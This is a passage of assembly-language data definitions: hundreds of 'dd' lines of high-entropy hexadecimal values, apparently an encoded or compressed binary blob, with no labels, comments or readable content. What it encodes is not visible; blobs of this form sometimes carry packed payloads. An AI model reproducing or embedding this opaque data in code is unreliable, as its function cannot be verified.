0B881B237h, 54304202h, 68430872h, 401D2C3Bh, 484ECF4Dh dd 3ADE5C16h, 59336146h, 0D2D5FB64h, 0F1F7A0B9h, 20116CA4h dd 697BF876h, 958907D2h, 681D4570h, 1F7196E5h, 11F2081Eh dd 465CF22Fh, 578722Ch dd 9876759Bh, 0FF103E27h, 0C9570F87h, 0D80C655h, 21C9C8E5h dd 58585823h, 72132047h, 5585858h, 5820C872h, 0C9139058h dd 3B5858C9h, 91927BD0h, 3B5C5C2Bh, 0CD138B86h, 0EB1D886Ah dd 5E4B0C08h, 85D30549h, 0F708B155h, 278FD131h, 902573D4h dd 38A70A74h, 0ECD66064h, 3B127AD5h, 30DDB64h, 0C35F7186h dd 5CBD7FEDh, 0D481549Dh, 682A917Ch, 5ACB6110h, 4FA94206h dd 0C03C1A2Ch, 0F1600F89h, 0CB44BAF5h, 0C0C1636h, 0D7013BEDh dd 0FDFB375Eh, 2F306C08h, 0BB1C1619h, 480166B3h, 400F0C08h dd 5B418910h, 4B246B4h, 0FC386936h, 39FDEC2h, 5DC28BECh dd 4480CDFh, 607D6373h, 2FEB6DD8h, 0C53B4644h, 9D195275h dd 0E65B1C8Dh, 4808560Dh, 0D92B6308h, 2CA04DF2h, 108D3334h dd 202F930Ah, 8E360C70h, 4618F648h, 0C08B674Dh, 0CE16E111h dd 2E118508h, 86F8740Ch, 0F846691Bh, 0A794F8F8h, 0D8C8CD23h dd 0ECEC1B8Eh, 0C3F4ECECh, 0C781B3Dh, 5544141Dh, 9C8D96F8h dd 0C10D59Ch, 43B02ACEh, 39D29A46h, 72392A0Ch, 0CC94B348h dd 0B60C100Ch, 0C4C9327h, 8D363E77h, 69D072F0h, 0B3F48FA9h dd 74E9047Ah, 0B50CA84Eh, 0A790F2A7h, 0FC4ED526h, 50F7153Fh dd 0C26848C1h, 35922B08h, 8D6D0C8Ch, 77B5534h, 0C643269h dd 2D167499h, 0BC38059Eh, 0B31C8CC3h, 615BAC03h, 0C1A9BAB4h dd 0AD4A1D53h, 420C7B3Ch, 2E64830Fh, 0B8784A58h, 997427D1h dd 0F8AC9052h, 793F758Ch, 0C9221559h, 2CCA9C59h, 3CF6DCE3h dd 104DD935h, 121717D6h, 320D496Fh, 16E90201h, 1BCBF17Bh dd 0C085C99Ch, 4D8941C1h, 0C54AFDE4h, 0DD4E8CBh, 0C507741Ch dd 0F98E592Bh, 74D8E440h, 72CF476Fh, 0D4D4F585h, 45856CCEh dd 1AD4C5D9h, 0CC65334h, 0D4C5B93Ah, 1B71F4A2h, 0A2F8B76h dd 3C333D74h, 0C975D8AFh, 0EB27669Eh, 82E13E16h, 0E31C018h dd 444D33ABh, 95991436h, 0CE9D1280h, 0E0B9CBF9h, 1080810Eh dd 2116D0DFh, 2D8107B8h, 3050D485h, 5F628C03h, 218B8743h dd 3A09D2Dh, 8501D7C9h, 26789BC4h, 3D05E1E8h, 0DF0C58C4h dd 40403621h, 0C8374318h, 22F15A10h, 6F4D9105h, 0A4145F83h dd 0D84B8F41h, 0E0FC8B1Ah, 52C0066Ch, 0A506F7C0h, 0CD9EFD9h dd 7322853Bh, 60D00D19h, 85D8BD23h, 0D26414DCh, 3D8326CCh dd 2C757EC5h, 0CF51BD81h, 6F8D3220h, 2B7EC5B2h, 60388C89h dd 9C3306D8h, 75C54F85h, 84CC3483h, 80D1D414h, 0B583B214h dd 96CE326h, 0DEEACF2Bh, 16C807D4h, 57853621h, 325DBCC1h dd 0BCBC7272h, 0CC4D5EBCh, 0C10DEC8Eh, 0BC049047h, 7C8363D9h dd 58D2923h, 0B9E08D8Ch, 6C276726h, 0C8C8EB58h, 0B3999248h dd 9287061Ah, 0CB19AF74h, 655AA70Eh, 72ABA2B3h, 1DD52E1Fh dd 1667E500h, 482C1929h, 952621C9h, 7230382Ch, 4864F90h dd 0C16C6B3h, 8B0D84D1h, 2468B7Eh, 1E681073h, 63E32670h dd 6A4B9417h, 488B48A2h, 4066134h, 8B740606h, 74D6D918h dd 273B2489h, 83253E72h, 32B3EA6h, 82F5203Eh, 9D00EFC2h dd 896A44A2h, 0CEC94083h, 9F9511ECh, 0F931B25Dh, 10187A41h dd 0C3E4FC63h, 0EFF87B19h, 0ECA8EC06h, 0F0EFD9EFh, 930C065Eh dd 0D167329h, 8605303Ch, 59F876A8h, 677D963Ah, 296723CFh dd 0CC0F78FCh, 7D191D0Eh, 0ED9328Ch, 0FC64E939h, 0E87689FCh dd 0E4E4647h, 0F8E8E8E8h, 279096EFh, 0EFFCE827h, 0F25C9223h dd 0EFF8765Bh, 0C9BD9AE8h, 0F85A32F6h, 81777606h, 0F06530BCh dd 3917F4EFh, 8D5EB9E9h, 0C3C3A1Dh, 4905F6FCh, 7B0A011Ah dd 198A171Ah, 7A6E0844h, 41448E41h, 1358F1BAh, 0C9E4018Ah dd 0ECCC02B9h, 54B58768h, 29C3D39h, 0F7A8862h, 5EF9DE8h dd 0D70035EAh, 4EF024BEh, 126BC73Dh, 0CD8D158Bh, 5500B8Ch dd 22C0B632h, 3A04A5DBh, 24048125h, 912CC369h, 0FA2D9C04h dd 0C3142A73h, 0EE17BA8Ah, 6C9B1C05h, 3F65428Bh, 0BCBC3C15h dd 0B026C4ECh, 810005EFh, 592C218Bh, 0CCA701C3h, 8C722844h dd 606803EAh, 0EF8C5B10h, 5B36CCD9h, 0BC4660Eh, 0CC7E96A8h dd 8A0EABC5h, 0CF02400h, 0C85F8D47h, 880BFD93h, 0C0F1301h dd 940C640h, 0B34436CEh, 48BF0911h, 7660B10h, 0CDB71B9h dd 1648E4F2h, 0C8ECC89Fh, 0F78F9BECh, 7B0C0622h, 2F8D0F79h dd 5FD4F636h, 88818406h, 0CC05EFA8h, 171B6706h, 4302081Fh dd 5867603Ah, 1A030CCEh, 6D4CD2FFh, 0BD06188Eh, 3D088633h dd 68D07DF3h, 0DEEC0088h, 76CA0A5Ah, 3D8717C5h, 317B731Dh dd 0DB207245h, 0DDB60011h, 74365B51h, 30A6E79h, 6D8551C8h dd 0FC858202h, 597A1A48h, 64032418h, 0E68F27h, 205C0A98h dd 0C0E4AB2Eh, 0A1B60E02h, 0B0907B2h, 0A5B94EBh, 0EC651A76h dd 184031BAh, 0B43D5919h, 0E20627B4h, 60190B7Dh, 102F6B40h dd 9E879461h, 0AE4A6228h, 7D4A3928h, 0F1956C6Bh, 4522EB08h dd 0B301643Ah, 1AC7F91h, 391917B0h, 0B0B0B039h, 36F03621h dd 201A73E0h, 0D0601003h, 8F678E0h, 0B08D71FCh, 8BCBEB61h dd 171CC043h, 38304098h, 241597Bh, 147591CFh, 4153B63h dd 0FA03C07Fh, 5C0F640h, 9547AA5Eh, 841AB9Eh, 566D7B17h dd 0BE733376h, 361DE430h, 0B0E0057Bh, 0A814660Ch, 5A0D1F12h dd 5779E437h, 93B0E80Ah, 48004CC5h, 0B0161675h, 0D085B23h dd 4456148Dh, 8EC8E20h, 224B1819h, 792B2C18h, 191799DFh dd 50764383h, 9805B8FEh, 0D583640Dh, 6747261Ch, 399D2C3Bh dd 406D7D36h, 53B9E22Fh, 0C4858227h, 47D88EC0h, 511C2EA5h dd 51AA10B7h, 8E2F1005h, 1C448C04h, 6F614FBAh, 54256D00h dd 2083180Bh, 44C60C8h, 1525A896h, 0B5A7052Fh, 0BEC725A3h dd 21510F1h, 4FB97400h, 98D48107h, 201AAD81h, 11B20323h dd 0AB1CB118h, 0B5333B7Ah, 1AB88146h, 6705A013h, 0E0E7DB7h dd 0E4CA808Bh, 0B40F7B9Bh, 0F82F1416h, 3FB18889h, 83E47607h dd 0F42C7E64h, 160064F4h, 0F420C9F5h, 0CE8A9068h, 0E00C39Dh dd 10E955E5h, 0F543A8h, 80F1E03h, 50701938h, 43C60856h dd 0EF1B62Ah, 341D13ADh, 426A4F55h, 8068E397h, 9C2E08CBh dd 0F025328Bh, 3C118E8Ah, 68EA0448h, 0B0998AE0h, 7C7080DDh dd 12CC682Eh, 26790970h, 9C74B4E4h, 0C11D9AD9h, 7CA9E378h dd 700822E3h, 19646591h, 78107419h, 0F3440279h, 9C05C607h dd 13CFC01h, 0D875CC47h, 1F0968A4h, 34276EF1h, 76151259h dd 65F4534Ah, 0B1C50EF4h, 0E465D502h, 0C8E0252Ah, 90530C80h dd 0A775CB07h, 0E4E17EE4h, 59F21121h, 61715CCDh, 1E466225h dd 0B67668E7h, 0E6E7CBDh, 8021C72Bh, 60D58EA7h, 0B073E4C1h dd 23E0A3ACh, 0B20217BEh, 300319F8h, 7D5814ECh, 18D9EE81h dd 85E3EB2h, 380708F4h, 2B7075A2h, 7E5321E6h, 0B0434B73h dd 5F06F0F0h, 685273F8h, 70250914h, 9B27D611h, 6E051DD9h dd 3867F076h, 599557Eh, 5D2E6B7Eh, 8996148Bh, 0C1FC2314h dd 1F90828Ch, 0D92C01F2h, 889F7118h, 6162036Fh, 88830FEFh dd 0C403E35h, 68F11708h, 2C368510h, 0D0F33C7Ch, 0BD2205FEh dd 46A8E072h, 61D8D535h, 0C86C30E0h, 0B5BEFBC2h, 0F703B1Ch dd 1A0BB045h, 6A8D82A4h, 0B2361CCCh, 29D8C4AEh, 46D9D678h dd 24958EF1h, 9E18041Bh, 0C84C9D44h, 0FED4C008h, 59F26804h dd 92FED540h, 0DEE7B0C7h, 6A498E1Ah, 96826A71h, 0DCDC9685h dd 0D8180058h, 0D4EA21F3h, 79357CFEh, 45423888h, 40D42454h dd 452F153Ch, 0E04859E8h dd 1E837616h, 77010535h, 4A142D19h, 0D410D918h, 0B81BFED3h dd 7D470E84h, 19489E8h, 24BE4606h, 0C763010h, 0E0A45124h dd 0D8C27FB7h, 0F017EBFFh, 0EFEB08EBh, 0EBEDEBh, 0A4B05FE9h dd 94491588h, 50F98408h, 8401B0FAh, 39004442h, 1A07FE58h dd 54799C20h, 0F0CF05FEh, 66282578h, 0D2378012h, 6B81B055h dd 5C5B8B1Ch, 2221641h, 3C8DFE04h, 0FEFE919Bh, 96FEFE54h dd 0C0B2DE20h, 22B6F4Dh, 9212724Bh, 9019FE54h, 0FF70AC23h dd 418E374h, 2C685653h, 18ACC3ACh, 78309CAFh, 0E65379C8h dd 82B72532h, 58D90708h, 0C1591CFEh, 2EBE3D21h, 65800Ch dd 21E4A678h, 444E19B0h, 637CA18Bh, 8F06C8C9h, 0CBD20ECh dd 4304314h, 0A33D56E8h, 0AF064B7Eh, 0A99810CBh, 62727C2Dh dd 81A5BA0Eh, 11766C80h, 0F61AE808h, 9D909782h, 0A4119AF8h dd 9410B98Dh, 3628987Ah, 65E467F9h, 0CE58C435h, 0CF96F010h dd 112485F4h, 0F198B34Fh, 1F030EFh, 7CAD8299h, 50181B1Bh dd 6C97D84h, 0ADD8C156h, 5173413Bh, 0FA7E01Dh, 387603C8h dd 2A740D0Dh, 0F21C741Fh, 16203C80h, 7F100E74h, 78224309h dd 2E00C67Fh, 0F890A0EBh, 64B19822h, 39A4A0B6h, 20F0E103h dd 0DC2F765Dh, 0FC88A4F2h, 24FC4540h, 430C28DAh, 1301061Ah dd 795ECB05h, 4B08A065h, 647D15C2h, 157D0863h, 98950D19h dd 0CB039404h, 0B239DEDAh, 80FD41B2h, 6592062Eh, 0C0C2192h dd 21927006h, 10101099h, 0C181980h, 24E0F24Ah, 87B85056h dd 1D5AC415h, 0B660254Bh, 74044B2Ch, 0A1278010h, 58808E7Ah dd 0C70C8BFDh, 141E1BBAh, 0EB80B84Fh, 9078216Bh, 14239E6h dd 0A4237049h, 27028E79h, 92362268h, 0F29D039Dh, 6A87C805h dd 9B283356h, 0EF60FDF0h, 4807BEF5h, 0D2054A0Eh, 3623C0D6h dd 4021603h, 2082B3Eh, 1266A3Fh, 0D8484201h, 729409ECh dd 81EC1F30h, 0F4F920DCh, 5E8194FDh, 0D979DCB7h, 93B5FF30h dd 3BFBE8E6h, 48202F54h, 8B0415FFh, 0F406D355h, 28BC2452h dd 58D7007Eh, 0C2840A0h, 49F90CCDh, 0C28106A6h, 0F53704E1h dd 7359CECh, 92E1F51h, 0B1157DFCh, 0EF922953h, 1618560Ch dd 19863EE8h, 0AB42E66Ah, 201CFD9h, 0B12F1675h, 3708B855h dd 1691E423h, 52BC003h, 74BB5562h, 1DB29B60h, 31CF4903h dd 0EC3A0BDEh, 57E082EDh, 4220705h, 75779A9Ch, 0C8BD98BEh dd 0C06FBE4h, 45BD7230h, 35CCEC4h, 6850CF10h, 9C021D54h dd 0DCF364CDh, 0FBF7B508h, 0B64DE28Ch, 6D3D03C0h, 5151F72h dd 0B2B2B64Bh, 7EC04379h, 6C3B9755h, 375C5932h, 0B6581DE9h dd 0DF935E27h, 0E28BD21h, 8400E4F4h, 31A89849h, 79315575h dd 501CDB2Bh, 418DE411h, 465C5476h, 0FC20DDD1h, 725CCCFEh dd 0FCFEFC40h, 0E0AB2134h, 7C240D2Dh, 0F4C80C51h, 0F8D0F8FDh dd 0F6BC751Ah, 2508A830h, 82CCF602h, 0E680E005h, 62C9F616h dd 3FCB01h, 0C3597D5Bh, 404DAC8Bh, 6EB68268h, 11B03409h dd 0E4999B9Fh, 20C93919h, 40FEE401h, 5C7204E8h, 6AFEE472h dd 0BD939E73h, 5985545Ch, 2F124431h, 0E0F34232h, 668F7B05h dd 2272C073h, 10E8F803h, 163330E6h, 0A40B48B6h, 60738891h dd 0C98A0251h, 4D657201h, 0A4524C24h, 8CF0B06h, 4422860Dh dd 3F687834h, 47B635BDh, 0F8D0D985h, 0E142D3Bh, 3D6157C2h dd 0FEF8925Eh, 48F25899h, 127BFEF8h, 1085B266h, 7A6E3C30h dd 0EB05780h, 0F7FC3F39h, 0C5367B0Eh, 40D0C10h, 1A8A08A9h dd 0B2D48C90h, 0E68824BAh, 0F4C6D110h, 486DC5h, 73123B02h dd 6078011Dh, 0D18E018h, 0E03AAE89h, 0D433F515h, 2A2CE44Dh dd 0F862F560h, 0AD93ECD3h, 0F45C00BFh, 0A9AF5D59h, 0C7B0ECBAh dd 0B289738h, 60C11300h, 6CDA9104h, 2760613Fh, 4488E4A3h dd 0E4A3E80Dh, 0D728356Fh, 0C92306E4h, 0A8E8468h, 9A53A814h dd 0CB114755h, 0C7860406h, 498749DCh, 4000E2Eh, 3D71C7DCh dd 9B871126h, 5A1600BCh, 11898C5h, 33D8A324h, 4822C6F7h dd 24D1661h, 0E1EDCA86h, 4F8E2868h, 71E027DCh, 137337BAh dd 15F2380Eh, 43B10971h, 73BABC4h, 0BDEA8408h, 4C017019h dd 40935562h, 0C9689E0Ch, 207F1549h, 73435D00h, 1D0060DCh dd 6E4F305Ah, 0C4B3D00h, 88BBE0D1h, 17A418Bh, 61FD904Bh dd 0E4929901h, 6C8541E4h, 34FFE452h, 0D60B14F2h, 24319528h dd 78A129B8h, 3F032C55h, 3651D846h, 0F788C63h, 23C8447Eh dd 4D5C3Ah, 657201C1h, 81A9A951h, 0DFBB01Ah, 5E044261h dd 53EC63C0h, 1D2424D2h, 1BE888E8h, 49202199h, 21D911B6h dd 142B2D94h, 0D861305Dh, 2A2E768Ch, 4093EED8h, 0FC68196Dh dd 8E8C7CEBh, 14AC99E0h, 4116B61Bh, 259207A8h, 7D0E02ECh dd 497F14F4h, 66E547Ah, 0E2598C5Dh, 1F18C84Ch, 51EC9898h dd 0C81583E5h, 33322481h, 28EEC502h, 0CCDCEFABh, 0C27C8847h dd 39477254h, 0F8832C61h, 0FDF4B960h, 2B55A010h, 0F1858FEEh dd 6F8645Eh, 2532B50Ch, 4C43D65Ch, 0B0FC90FCh, 3A06F195h dd 8762144Ah, 99319654h, 85CECAADh, 0B5AE29F1h, 8D85863h dd 23788C1Bh, 0D92D95B0h, 518300AEh, 0D9848C6h, 8323C798h dd 74E4F000h, 798EA01Fh, 6059E359h, 5CF99108h, 96C83050h dd 4976E32Dh, 8E41517Bh, 0F0478400h, 41900E16h, 38B4BD82h dd 2E51158Bh, 2CDE17C4h, 0B3E434FAh, 4083BB9h, 0FA2CFA30h dd 127288B0h, 6A14065Eh, 66746B10h, 6E291145h, 39D22009h dd 8F310B86h, 0F0449C6Bh, 7D4E914h, 1C210B48h, 661C33Ch dd 34EE1E4Eh, 20426471h, 9B422B6Ah, 90664070h, 0C9A7ECFAh dd 0A71DBBADh, 0BE5452Ah, 0F9208F59h, 2ECA02F8h, 4F334F3h dd 591D9C0Ch, 0EBE9280Ah, 0F4EC0B0Ah, 0EF0F7B06h, 509C09B5h dd 0D9A4043Dh, 8EB8EB00h, 0C1CCD252h, 0C5448413h, 0A1096DF2h dd 0CBC65D8Dh, 0F00A195Bh, 0D64564B0h, 3959890Dh, 982A86Bh dd 322924D4h, 90194880h, 932332B3h, 34251FCDh, 24503B1Ch dd 8D1CC20Bh, 45AF6Dh, 31A918DAh, 854B3928h, 0F25A3096h dd 34F1F0D9h, 0FE585877h, 0E9201000h, 47C15764h, 20E91C85h dd 0C76BE91Ch, 0F308DE22h, 0D282B66h, 0D9360228h, 24612035h dd 0B4BEC967h, 55671372h, 72032321h, 20181820h, 18CE219Bh dd 8186427h, 2C724740h, 6CB4D0Dh, 65922EC2h, 0EB910A51h dd 160E2810h, 84B8CC8Ah, 0BDEA2C1Ch, 17FE4055h, 443901A3h dd 5693CFEh, 809F207Bh, 67FE40A7h, 9F3C2FD5h, 4055D45Fh dd 0FE8EF8FEh, 94E4BCD9h, 0FE38FE3Ch, 0ECD4FE40h, 0FE382720h dd 0D80DBB67h, 5558C025h, 8C34CABDh, 0CE819E20h, 48241434h dd 52CED8A7h, 38344C9Bh, 2F119ADBh, 149508D9h, 0B0390C66h dd 174A2DB3h, 0B364C20Ah, 1CB69447h, 47E01E1Ah, 11B55DFCh dd 97732D68h, 9B07584h, 184AA7B3h, 898B3715h, 2231F64Ah dd 0C5F7EEC7h, 35C3A848h, 34CA6597h, 4826DF42h, 14B816BBh dd 311D5306h, 840D1261h, 541C1206h, 796A1EC0h, 0D5DFF493h dd 0E438A588h, 0B29E105Ah, 80D5EB5h, 277529F0h, 86292F0h dd 85A30A35h, 6C25A859h, 0FC50E9F4h, 5920838Fh, 64D23854h dd 0ABC13751h, 22764D68h, 28CB1487h, 942CDEC2h, 7660AFBh dd 6A1648A2h, 0A180F66Ah, 0D0B7520h, 0CD11EB5Ch, 0D4F82688h dd 6C14D6A2h, 3B34E165h, 11260C1Ah, 4D024B7Dh, 0F5C13B0Ch dd 0A6995862h, 152FD2E0h, 222BC54Bh, 0D61B18C9h, 774F3081h dd 0C635134Ah, 0BA140190h dd 2325156Ah, 0FAD8333Ah, 0F0F8241Dh, 71838F4Ch, 104D3B38h dd 21A2A6AAh, 87B144Ch, 131525EDh, 3BF85F37h, 5637705Bh dd 0FC8D0FC0h, 7C832BF8h, 92D65B81h, 4950A235h, 6C1F4873h dd 556DD83Bh, 288A044Bh, 1627813Ch, 0AE54340Bh, 81048BFDh dd 1461E12Bh, 0D66DFEF4h, 4EF4A645h, 89F45575h, 42EB8114h dd 0E6D9B394h, 0C4F821C1h, 0A6428D33h, 1D2A092Ch, 3EE0814h dd 9B48F8F4h, 2D289669h, 0F8EBBD5Bh, 8B575653h, 10737D36h dd 1F74C985h, 0BEE1BF9h, 107401FFh, 788068Ah, 460B6C84h dd 2D0F4947h, 0AB3084C6h, 5F0007F8h, 9AEA5B5Eh, 7080F603h dd 7C30DC22h, 37390D10h, 7F8A362Ah, 0B0093230h, 6364B001h dd 102BA108h, 8D8CD11Ah, 0F455F4F0h, 7633E3F4h, 390B805Bh dd 45627F08h, 0B440B6F4h, 9059E39h, 0B2122C36h, 77428811h dd 0ECE1516h, 75E939B4h, 0F48AA821h, 20101B31h, 2912087Eh dd 0E052C82Ch, 6C06D88Ch, 742C608Bh, 0DD26Eh, 8981993Dh dd 4D750A0Dh, 85E1D323h, 7C03FC6Ch, 3C931A35h, 122C5F64h dd 0F750A11h, 937B7080h, 390124DAh, 0EB44110Bh, 14EF8AB9h dd 656BA1DBh, 8D37996h, 361ACC08h, 2164089Eh, 7A4FF210h dd 0B15D9A7h, 0CE47A24Ah, 875E905Dh, 1A0C3304h, 0F5F2C64Ch dd 391136A5h, 40CDE374h, 0F4CE30EFh, 7599086Fh, 0C0FEC909h dd 888098Ah, 6B3D12D4h, 598D08C0h, 122F1235h, 0DCE90E99h dd 853628ACh, 0F1F8482Fh, 69C1BC44h, 0D1902A06h, 5FA0C09Eh dd 443E6CFDh, 20537D04h, 0B8E587C9h, 15752E23h, 9E6D92EBh dd 32EB0CCEh, 21118A22h, 187934Eh, 4314A60Ch, 0CF093A4Fh dd 0E3A0EBBFh, 68CF2E6Ah, 60E84FE2h, 7E03D045h, 0CD066ECCh dd 114CC6C6h, 10051444h, 10EEE650h, 62FD789Ah, 42740105h dd 0E686ACDDh, 3227402h, 54376D3Bh, 2195186Ch, 2D08D09Eh dd 90064622h, 3B1019B1h, 19190014h, 0A182140h, 762301Ah dd 41D0518Ah, 72D8C1AFh, 1801E4E6h, 0AD51741h, 0D6143A24h dd 832973B6h, 6FE6DE38h, 0D5B33937h, 74731F61h, 3D690A0Fh dd 5B223395h, 860E4832h, 3D55869h, 0B33674C1h, 0C2B13130h dd 403E608Dh, 66C1488h, 0B6B592Fh, 200C6208h, 2CD87618h dd 0ED0F3F68h, 2C6C90B8h, 0BB7629ECh, 0CCB5068h, 1B621D97h dd 10E2F0Dh, 0F5759B39h, 0C452C42h, 0B08D85ACh, 0E6425E26h dd 0D3C524DDh, 0BC174410h, 0B306C403h, 0BFEF0383h, 693B3E6Dh dd 519ED9Ah, 0EC256470h, 266BFCF4h, 0CC0A690h, 6503D4CCh dd 0DCA6AAB3h, 4127EFE4h, 0C16A6B01h, 545C0EECh, 6FB47EA1h dd 0F20D94CAh, 44CDE201h, 86E496Eh, 0A8D6360Bh, 5ED01D78h dd 0A5048B88h, 0D31DF8ECh, 29B17BA2h, 0E01DBC3Bh, 9E6BC92h dd 1DD96CD5h, 0D0671274h, 6826BF08h, 0C8107D54h, 1937B218h dd 5B20E105h, 2761B49h, 712CE8E1h, 0E1A7BD36h, 60C2463h dd 88037FB7h, 0E8A0A609h, 9BEC7B52h, 16F4C374h, 16E43BE4h dd 64DF603h, 16E056E0h, 0FB0D91FCh, 16FC7126h, 64AE85A6h dd 0C08D1B0h, 457BC00Bh, 70E0893h, 3090319Ah, 0BC4EBFD4h dd 207148B3h, 9190FF5h, 1F27583Bh, 0AC09F87Fh, 7D22DDEBh dd 0D60D6354h, 0E4F478B8h, 3C87277Bh, 3C093FF4h, 0F5E0CFFCh dd 52F4F540h, 9620EBE7h, 4B60B26Ch, 1F3F0D49h, 36333654h dd 5CF4AEB7h, 890F122Bh, 9235BF6h, 94310FB7h, 1860D8ADh dd 0A7275B0h, 0CB63284h, 0E45589E0h, 0B02B1520h, 1BCAAEC0h dd 0E486A074h, 85B05C52h, 8C5C3AF8h, 0FC0A0A29h, 0D423C017h dd 0BA77B034h, 12370572h, 424076DDh, 21AF0A0Fh, 25F83E64h dd 0CB2D1C0Ah, 42ECE80Ch, 607B65C0h, 0EC30254Bh, 495C7213h dd 76D8C177h, 4B180B73h, 95C8C947h, 3237428Ch, 5C8C95C8h dd 41E2126h, 19C81C8Fh, 8730A10h, 33C230D1h, 0E825157Ah dd 19CD1B6Ch, 2C5A06B6h, 0EDB3913h, 461816AAh, 301FFE19h dd 9EA070Bh, 34205F07h, 88C43AAEh, 8CA572DCh, 370A09EDh dd 91201356h, 59D9346h, 3A271135h, 18600108h, 4A18C421h dd 505A80C4h, 1508A4FEh, 34330593h, 4508CA7Ch, 0C487CC17h dd 8891C06Fh, 1D00052Bh, 0C814E8C1h, 0AF415AE6h, 0B7D81332h dd 0C84D1063h, 1EA082E0h, 1BCFF8ECh, 0A4053BD0h, 18015180h dd 0B29DDC8Eh, 0C28B14F9h, 0E101Fh, 0D0AFFADCh, 6A0A4837h dd 1F4895h, 0E51C991Dh, 8930C215h, 0F9A0A4DAh, 82C3101Dh dd 0F8A29E77h, 0E81A18CBh, 64CDD336h, 0E02E7813h, 0FCD79464h dd 24863E08h, 8DFAE446h, 472EFC16h, 743023BEh, 99270FBh dd 0F155F8F0h, 8368B358h, 34750428h, 0B35B3236h, 82BFA4Ah dd 1C0A81F0h, 2ECEC5F2h, 2122464h, 0B61C9A60h, 0B2758BCBh dd 0CDB2153Ch, 209022F7h, 1D76EB5Ch, 190E7939h, 558585Ah dd 0E439E48h, 393A5000h, 16439E4h, 0C4131C4Ch, 98364D80h dd 4217AB44h, 0E756E46Ch, 98DFAF4h, 0E22B19C7h, 5733F0C9h dd 9AC4BCFCh, 50406FB3h, 8B3C0B0Ah, 55CD9C09h, 0A5806177h dd 0F706A684h, 2FDDDF82h, 89A20F51h, 890A789Dh, 8D057C95h dd 638A0F80h, 8511CDAFh, 0F4B58714h, 0F8F4CAE0h, 3568A86Ah dd 90E81102h, 920CD50Dh, 5B9C008h, 285CB660h, 0F8C0A2C4h dd 733DEF5h, 64CF8C0h, 4F78011Eh, 10F81C1Dh, 0C1A44EB5h dd 0F005A816h, 5028016Fh, 0AF17C7B3h, 2322D628h, 0BCE1720Eh dd 0B8F91C2Dh, 0F20CA4F8h, 0F40B25FBh, 0FADC1E91h, 0C93906B4h dd 0F918B480h, 641182B0h, 7B83B040h, 19290DEDh, 0B700555h dd 6473C8BDh, 0B0FADCB4h, 64520E4Ah, 1020CB73h, 77177242h dd 38E0ED91h, 13EC2C2Eh, 0D0B56077h, 0E4B1910Fh, 68C8F038h dd 25D89104h, 0A816CFh, 5B0E54F8h, 0AA200614h, 2C0C385Ah dd 34F99039h, 4838A1A6h, 6228040Ah, 29C11839h, 0ADFE9274h dd 0B84B2583h, 42F2C23h, 66FB80D8h, 10F0D8D5h, 72025760h dd 245632h, 90D48ED8h, 790FF02h, 42B196B8h, 384C2B0Fh dd 0A2503D2Bh, 730EFC86h, 2CCEF0Dh, 0D4365D78h, 0C771515h dd 60B3157Eh, 4785A8Fh, 7901EC4h, 0D6C68ECh, 0F48468F8h dd 1E49068h, 68F04079h, 0B068ECA0h, 60116CBh, 0F4020EE8h dd 0B5D301F0h, 88E8EC2Ch, 64744E06h, 4380754h, 0BEEDF8D0h dd 0C4854B72h, 0EEAC143h, 0F686E8D1h, 5016CAC8h, 72B00F03h dd 57D4928Ah, 0DE145093h, 3DD99E83h, 46C605FCh, 2CB0EC3h dd 720D54EEh, 570EC064h, 0FCF8C829h, 7924566h, 4E6FCF8h dd 791D9613h, 0EC17C50h, 0FCCD2CF2h, 222B79FCh, 60A0A473h dd 2001242h, 640F25BCh, 0FDF8FDF8h, 6495050Dh, 0FCF00457h dd 98CC05EDh, 11AE011Fh, 9D1166CBh, 195476F4h, 377A02C2h dd 8C8D2BFAh, 0DDFF1AB5h, 73D2B48h, 41F451AFh, 874FC973h dd 0E0AE60DDh, 0FE5820Fh, 0AF0E1B20h, 8B65D4B0h, 2E8D8189h dd 0F9F7F319h, 0A5D4596Ch, 0CADDFD8h, 26D09DD9h, 5A32DD23h dd 0C1CCC823h, 0CF15082h, 0EC0299Fh, 0C35C8941h, 0AA066129h dd 118BEC77h, 0D56719EBh, 0CD238071h, 7AF4FBE0h, 7202336h dd 7CB31364h, 84F5A00Ah, 0B20A3C34h, 2C55ECFAh, 0C7DCD458h dd 0BE60401Dh, 36F1041Eh, 932393C9h, 0F7DCEC39h, 5862F7DCh dd 327F6B94h, 6CB9F213h, 481483ADh, 0D0F748F7h, 6562426Ch dd 1FE0AD14h, 89125AA3h, 5B3596ADh, 8068FBF2h, 0F750CB93h dd 0ACF00412h, 3D116078h, 166C164Ch, 4F4E71F0h, 83B6062Dh dd 0AFE8CED7h, 8B2F901Dh dd 0A47B0B10h, 6812342Ah, 0B07C4478h, 10EBD6B0h, 0E5C8119Fh dd 9E4BC86Fh, 0F59CF59Ch, 0A1D9C09h, 27BF9D4Ch, 0C92F6C98h dd 0CC099880h, 0EA87554Ch, 9E8319CBh, 5CEB9518h, 7270057Bh dd 6724E49Dh, 150AEECDh, 0E01F468h, 60B99F5Fh, 0BD04F840h dd 725E431Bh, 0F594680Ch, 649F594h, 1EE0B0E4h, 64C9090h dd 8CD090E4h, 0D518B68Ch, 2047E733h, 45EB900Bh, 8CE04646h dd 0C8D18C3Ch, 84E786E7h, 84F588F5h, 43C82D91h, 0D8327447h dd 0CEF03070h, 0A5FCF7E4h, 3102C15Dh, 5A6B9D92h, 92EF0692h dd 0F7EC8893h, 8A880E48h, 0A45E4247h, 844EF6F5h, 858A12C1h dd 4F709388h, 8B3043C9h, 1E98A124h, 0B548601h, 5D847EDAh dd 4186C416h, 65DFFCCh, 5DCDCDCh, 5577401h, 74021E74h dd 0BEABB818h, 89E83049h, 405C830h, 0A4851280h, 5F740C5h dd 7B10E324h, 0ABE514E0h, 0DCA7A758h, 2C02A07Bh, 1D11DC3Fh dd 77E03E8Ah, 1047B40h, 83490488h, 850F5AF8h, 0E9072A7Bh dd 0FDF44729h, 0C8B05DCh, 117F9035h, 0FB51B9E2h, 0BE59052Bh dd 0A481943Ch, 0E157FBFCh, 0A4A5BAA0h, 91FB52B9h, 1164D8ADh dd 0DCA9E7FCh, 995534E1h, 97FA06E8h, 0D1EE7081h, 0D46606C0h dd 0C26A3C6h, 0B33FEA04h, 5BC01B2h, 0C50C8B28h, 1964946h dd 46091C7Eh, 8E1B76CEh, 4FEB8130h, 0E4280311h, 3D793919h dd 912B2004h, 5E46793h, 3B061918h, 109EE998h, 2A080807h dd 93692D74h, 74076CEDh, 6D49F24h, 66139DE0h, 88B4F493h dd 4A46CE13h, 0A68B2798h, 9BD1D1FBh, 26911BF0h, 42C0D884h dd 15694197h, 801B942Eh, 0FBC81F24h, 0B0FBF004h, 303BF3AEh dd 3405850Bh, 0CC160F51h, 